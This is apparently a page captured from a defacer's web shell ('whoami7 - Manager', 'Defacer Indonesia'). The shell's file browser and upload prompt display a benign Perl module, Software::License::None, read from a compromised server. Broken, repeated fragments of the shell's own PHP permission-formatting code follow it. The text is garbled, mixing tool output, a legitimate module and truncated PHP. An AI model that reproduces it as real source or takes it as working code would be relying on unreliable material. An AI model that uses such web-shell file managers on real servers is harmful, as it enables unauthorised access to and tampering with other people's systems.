whoami7 - Manager

: /proc/self/root/usr/share/perl5/vendor_perl/Software/License/ Upload File: files >> //proc/self/root/usr/share/perl5/vendor_perl/Software/License/None.pm use strict; use warnings; package Software::License::None; $Software::License::None::VERSION = '0.103013'; use parent 'Software::License'; # ABSTRACT: describes a "license" that gives no license for re-use sub name { q("No License" License) } sub url { undef } sub meta_name { 'restrictive' } sub meta2_name { 'restricted' } 1; =pod =encoding UTF-8 =head1 NAME Software::License::None - describes a "license" that gives no license for re-use =head1 VERSION version 0.103013 =head1 AUTHOR Ricardo Signes <rjbs@cpan.org> =head1 COPYRIGHT AND LICENSE This software is copyright (c) 2017 by Ricardo Signes. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. =cut __DATA__ __NOTICE__ This software is copyright (c) {{$self->year}} by {{$self->_dotless_holder}}. No license is granted to other entities. __LICENSE__ All rights reserved. Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>